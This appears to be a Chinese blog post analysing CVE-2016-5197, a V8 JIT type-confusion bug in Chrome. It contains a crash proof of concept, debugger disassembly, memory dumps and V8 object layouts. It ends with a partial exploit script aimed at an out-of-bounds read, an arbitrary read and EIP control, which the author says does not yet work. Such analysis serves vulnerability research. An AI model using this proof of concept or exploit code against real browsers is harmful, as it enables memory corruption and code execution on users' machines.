CVE-2016-5197 漏洞分析

2017-03-20  本文已影响0人  o_0xF2B8F2B8

漏洞概览

漏洞是由于 v8 优化后的 JIT 代码没有对全局对象进行类型校验造成的,通过 JIT 代码操作未校验的全局对象可以达到越界读写

漏洞详情

漏洞样本

<script>
function Ctor() {
    n = new Set();
}
function Check() {
    n.xyz = 0x826852f4;
}
for(var i=0; i<10000; ++i) {
    Ctor();
}
for(var i=0; i<10000; ++i) {
    Check();
}

var n;
Ctor();
Check();
parseInt('AAAAAAAA')   // trigger crash
</script>

漏洞成因

阅读上述的漏洞样本,可大体得知漏洞触发的流程。

乍一看漏洞触发流程会让人觉得一头雾水,摸不着头脑。其实这个漏洞的触发涉及到 v8 对象在内存中的存储问题。下面我们通过一步一步的分析理清该漏洞的触发流程

第一个需要理解的问题是 v8 对于 整型 的存储。v8 引擎在设计内存存储时,为了将对象指针和其他数据区分,使用 tag Object 技术:_ v8 中所有的对象指针最后一位均被设置成 1_。此时 整型 就需要进行左移来防止奇数数字可能产生的干扰。于是数字在 v8 内存中存储时会左移一位,如 0x1000 在内存中就会变成 0x2000。而当 整型 的最高数据位为 1 时(0x40000000),左移便会造成整数溢出(0x40000000 << 1 = -2147483648),这时 v8 将以 Number 对象的形式将大于 0x4000000 的整型以浮点数形式存储在内存中。

样本中数据 0x826852f4 会被转化为浮点数进行赋值,相应的代码为

07318742 8b4007          mov     eax,dword ptr [eax+7] 
07318745 b90000805e      mov     ecx,5E800000h
0731874a 660f6ec9        movd    xmm1,ecx
0731874e b90a4de041      mov     ecx,41E04D0Ah

可以在内存中搜索这段二进制数据来定位 JIT 产生的代码
8b 40 07 b9 00 00 80 5e 66 0f 6e c9 b9 0a 4d e0

搜索得到的代码如下,为 Check() 函数编译优化之后的结果,关键部分的含义已在注释中说明,可以看到 Check() 在对 nxyz 域进行操作时,直接从全局空间中取出变量,并按照偏移直接操作,期间并未对变量类型、变量自定义属性数组进行任何合法性的校验。

04f67161 89e5            mov     ebp,esp
04f67163 56              push    esi
04f67164 57              push    edi
04f67165 83ec04          sub     esp,4
04f67168 8b45fc          mov     eax,dword ptr [ebp-4]
04f6716b 8945f4          mov     dword ptr [ebp-0Ch],eax
04f6716e 89c6            mov     esi,eax
04f67170 3b25105d0701    cmp     esp,dword ptr ds:[1075D10h]
04f67176 7305            jae     04f6717d
04f67178 e84378fdff      call    04f3e9c0
04f6717d b8dda4d206      mov     eax,6D2A4DDh          
04f67182 8b4007          mov     eax,dword ptr [eax+7]     // 全局变量 n
04f67185 b90000805e      mov     ecx,5E800000h
04f6718a 660f6ec9        movd    xmm1,ecx
04f6718e b90a4de041      mov     ecx,41E04D0Ah
04f67193 660f3a22c901    pinsrd  xmm1,ecx,1
04f67199 8b4003          mov     eax,dword ptr [eax+3]              // 取 n 的自定义属性数组
04f6719c 8b4007          mov     eax,dword ptr [eax+7]              // 取 n 的 xyz 域
04f6719f f20f114803      movsd   mmword ptr [eax+3],xmm1   // 为 xyz 域赋值 
04f671a4 b8a181e004      mov     eax,4E081A1h
04f671a9 89ec            mov     esp,ebp
04f671ab 5d              pop     ebp
04f671ac c20400          ret     4

函数 Ctor() 对应的部分优化代码如下

04f66b60 8178ff6daa0005  cmp     dword ptr [eax-1],500AA6Dh
04f66b67 0f8538000000    jne     04f66ba5
04f66b6d b9dda4d206      mov     ecx,6D2A4DDh      // 设置全局变量 n 为 新创建的 Set()
04f66b72 894107          mov     dword ptr [ecx+7],eax

因此当 6D2A4DDh 中保存的全局变量为一个全新的对象时,这里的访问便会导致越界写入。

这里第二个需要理解的问题就是 v8 中 js 对象的自定义属性在内存中的情况。以样本中的 Set 对象为例,对象偏移 0x4 的位置保存一 FixedArray 数组指针,用于保存 Set 对象中可能出现的自定义属性,当有发生 Set 对象的自定义属性访问时,v8 直接按照该属性声明的顺序以偏移的形式从对象的 FixedArray 中取出数据完成访问操作。当对象初始化时,由于尚没有其他的自定义属性存在,因此该位置将使用内置对象 empty_fixed_array 进行初始化。(这部分信息可以通过阅读Chrome源码明确的观察到)

在样本中漏洞触发时会将内置对象 empty_fixed_array 取出当作已经有数据的 FixedArray 对象来使用,直接通过偏移计算的方式取 FixedArray 中保存的第一个对象进行操作。这里由于数据 0x826852f4 的关系,会将取出第一个对象指针直接作为 Number 使用。

查看 empty_fixed_array 在内存中的情况,由于其是内置对象,会在 v8 引擎初始化时就和其他内置对象一起被创建,因此其在内存中的相对存储情况是固定的

0:000> dd 04908125 -1
04908124  04b08185 00000000 04b081b1 3043247e
04908134  00000008 6c6c756e 04b081b1 ae4b45da
04908144  0000000c 656a626f 00007463 04b08235

可以看出 empty_fixed_array 其后紧跟的是 null 内置字符串和 object 内置字符串。其中被 Check() 当作 Number 处理的对象指针为 'null' 内置字符串的 map,也即 initial_string 类的 map,其中保存了 initial_string 型对象的的类型、结构等重要信息。这次越界写入操作便会修改这个 map 的信息,造成的结果即使得所有 initial_string 类型的对象都会出现问题。

map 被修改前后对比如下,其中类型的关键结构信息被完全破坏

0:000> dd 04b081b1 -1
04b081b0  04b0812d 00006600 00190004 082003ff
04b081c0  04908101 04908101 00000000 0490811d

0:000> dd 04b081b1 -1
04b081b0  04b0812d 5e800000 41e04d0a 082003ff
04b081c0  04908101 04908101 00000000 0490811d

故而在样本调用 parseInt("AAAAAAAA") 试图将 initial_string 类型的字符串 "AAAAAAAA" 转化为整型时,便会出现问题,导致崩溃。

漏洞利用

该漏洞目前可以实现的有两种利用方法,第一种和 flanker 演讲时所提出的利用思路不同,后来根据 CanSecWest 的PPT 实现了第二种利用方法

FixedArray利用思路

该思路通过越界写自定义 FixedArray 的方式实现利用,相比于上一种方法,该方式更加稳定和优雅,受其他因素干扰也更少
具体的利用步骤为

null_str利用思路

该思路通过越界写内置对象 null 来进行,相比于前两种方法,这里硬编码的地方更少,看起来也更加优雅
具体的利用步骤为

附录

分析和利用过程中使用到的关键数据结构如下

String
String{
    +0x00   map
    +0x04   hash
    +0x08   length
    +0x0C   value
    ......
}
Array
Array{              //大小 0x18 
    +0x00   map
    +0x04   empty_fixed_array
    +0x08   data pointer     // fixed array
    +0x0c   array length
}
FixedArray
FixedArray{      // 大小随数据而定
    +0x00   map
    +0x04   length
    data
}
Uint32Array
Uint32Aray{    //(TypedArray)    大小 0x28
    +0x00   map
    +0x04   empty_fixed_array
    +0x08   ArrayPointer 
    +0x0c   ArrayBuffer Pointer
    +0x10   0
    +0x14   ArrayBuffer size
    +0x18   NaN
    +0x1c   ArrayLength
    +0x20   0
    +0x24   0
}
ArrayBuffer
ArrayBuffer{    //  大小 0x20
    +0x00   map
    +0x04   empty_fixed_array
    +0x08   empty_fixed_array
    +0x0c   buffer_size
    +0x10   backing_store
    +0x14   4
    +0x18   0
    +0x1c   0
}
map
map{        //  大小 0x2c
    +0x00   map
    +0x04   istance_size    // byte
    +0x05   InObjectProperties_or_ConstructorFunctionIndex      //byte
    +0x06   unused
    +0x07   visitorId       //byte
    +0x08   instance_type   //byte
    +0x09   bit_field       //byte
    +0x0a   bit_field2      //byte
    +0x0b   unused
    +0x0c   bit_field3      //byte
    +0x10   prototype   
    +0x14   constructor 
    +0x18   transitor_or_protytypeInfo
    +0x1c   discriptor
    +0x20   CodeCache
    +0x24   DependentCode
    +0x28   WeakCellCache
}

ROP利用思路

该思路系从原始样本中直接衍生联想而来,通过修改 initial_string 类型,可将字符串类型从 one_byte_string 修改为 two_byte_string,从而使用该字符串便可以越界读取其后布置的对象信息,实现信息泄漏,通过泄漏出的信息构建 ROP 链,布局在内存中。接着将字符串类型从 one_byte_string 修改为 external_string ,这样便可以控制 EIP 劫持程序流程。该思路在实际使用过程中遇到了一些问题,尚未实现利用,具体的方法还在思考中。
具体的利用思路为

ROP 利用代码

<html>
<script>
function Ctor() {
    n = new Set();  
}

function Leak() {
    n.xyz = 3.4766779122194493e-308;  // string to unicode
    return "AAAABBBBCCCCAAAA".charCodeAt(12).toString(16)    // over read
}

function Read() {
    n.xyz = 3.4766991238883129e-308;  // string to exteral_string
    return "addr".charCodeAt(0).toString(16)     // abtrary read    
}

function Recovery() {
    n.xyz = 3.4766863919135671e-308;
}

function Control() {
    n.xyz = 3.4766991238883129e-308;  // string to exteral_string
    ParseInt("addr"); // call [addr]+c
}

for(var i=0; i<10000; ++i) {
    Ctor();
}
for(var i=0; i<10000; ++i) {
    Leak();
}
for(var i=0; i<10000; ++i) {
    Read();
}
for(var i=0; i<10000; ++i) {
    Recovery();
}
for(var i=0; i<10000; ++i) {
    Control();
}

var n 
</script>
</html>
上一篇下一篇

猜你喜欢

热点阅读